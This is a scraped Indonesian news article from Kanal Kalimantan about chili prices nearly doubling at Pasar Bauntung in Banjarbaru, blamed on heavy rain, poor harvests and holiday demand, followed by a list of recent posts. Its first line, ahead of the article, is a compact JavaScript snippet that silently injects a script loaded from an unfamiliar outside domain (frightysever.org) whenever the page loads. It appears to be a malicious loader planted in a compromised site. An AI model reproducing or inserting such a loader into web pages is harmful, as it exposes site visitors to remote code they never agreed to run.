(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Pasokan Terganggu, Harga Cabai Naik di Pasar Bauntung Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Cuaca tak menentu kembali menjadi penyebab berkurang pasokan komoditas cabai di pasaran. Seperti di Pasar Bauntung Kota Banjarbaru, Halim salah satu pedagang mengaku mengalami kekurangan stok untuk komoditas cabai seperti japlak, keriting, dan cabai merah besar.

Halim mengatakan, hujan dengan intensitas tinggi mengakibatkan tertundanya jadwal panen sehingga pasokan berkurang.

“Harga pasti akan tambah naik lagi nanti. Sekarang stoknya sudah sangat sedikit sekali, sedangkan permintaannya banyak,” ujar pedagang cabai di Pasar Bauntung Banjarbaru.

Baca juga: Antrean Mengular di SPBU, Stok Pertamax Kosong 4 Hari

Tak hanya itu, jelang Natal 2025 dan Tahun Baru 2026 sekaligus acara keagamaan 5 Rajab di

Sekumpul membuat permintaan cabai semakin meningkat, sedangkan harganya ikut naik.

Komoditas cabai yang naik, salah satunya adalah cabai japlak kini harganya menyentuh Rp50 ribu per kilogram.

Baca juga: Harga Wortel dan Sawi Naik di Pasar Bauntung Banjarbaru

“Sekarang harga cabai japlak sudah Rp50 ribu, sebelumnya Rp25 ribu per kilogram,” sebut Halim.

Cabai keriting yang sebelumnya dihargai Rp50 ribu, kini naik menjadi Rp70 ribu per kilogram, serta cabai tiung dari harga Rp45 ribu naik menjadi Rp60 ribu per kilogram.

“Kalau harga cabai merah besar sekarang Rp70 ribu, sebelumnya Rp35 per kilogram, semuanya mulai naik harga sekitar satu minggu ini,” jelasnya.

Baca juga: Upaya Menekan Inflasi Daerah Lewat GPM di Kios Pangan DPKP Kalsel

Masih kata Halim, saat ini para pedagang tidak bisa mengambil stok cabai dari Pulau Jawa karena harga yang juga sudah mahal.

Kondisi tersebut juga dipengaruhi dengan kualitas hasil panen para petani yang tidak bagus terkena hama dan cacar pada buah cabai.

“Karena musim hujannya masih tinggi, ya semua cabai kualitasnya tidak sebagus kemarin, jadi banyak yang rusak,” ungkapnya.

Di sisi lain, Ucok salah satu pembeli cabai mengamini adanya lonjakan harga cabai hingga hari ini.

“Kaya cabai keriting naik sekarang Rp8 ribu, biasanya Rp6 ribu seperempat,” tutupnya menambahkan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Warung Jablay di Trikora Didatangi, Diminta Bongkar Sendiri atau Dibongkar Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Puluhan warung remang-remang di ruas Jalan Trikora, Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

59 menit ago

Shopping Funtastic 2025 Tarik Pengunjung Lebih Besar, Catat 125 Ribu Kupon Undian

KANALKALIMANTAN.COM, BANJARBARU - Program belanja menarik dengan tajuk Shopping Funtastic 2025 resmi ditutup manajemen Q… Read More

13 jam ago

Potensi Bikin Jalan Ir PM Noor Terganggu, Lapak Durian Sungai Ulin Diberi Teguran

KANALKALIMANTAN.COM, BANJARBARU - Petugas gabungan dari Dinas Perhubungan dan Satuan Polisi Pamong Praja Kota Banjarbaru… Read More

15 jam ago

Urbanisasi, Pembangunan IKN dan Dampak Ikutannya

Oleh: Cheryl Rinjani Eileen Manurung, Prodi Geografi, ULM Read More

22 jam ago

Baznas Balangan Salurkan Bantuan untuk Masyarakat Berbagai Bidang

KANALKALIMANTAN.COM, PARINGIN - Badan Amil Zakat Nasional (Baznas) Kabupaten Balangan menyalurkan berbagai program bantuan di… Read More

23 jam ago

Balangan Raih Kabupaten Terinovatif Indeks Inovasi Daerah IGA 2025

KANALKALIMANTAN.COM, PARINGIN – Kabupaten Balangan berhasil meraih predikat kabupaten terinovatif dengan Indeks Inovasi Daerah (IID)… Read More

23 jam ago

This website uses cookies.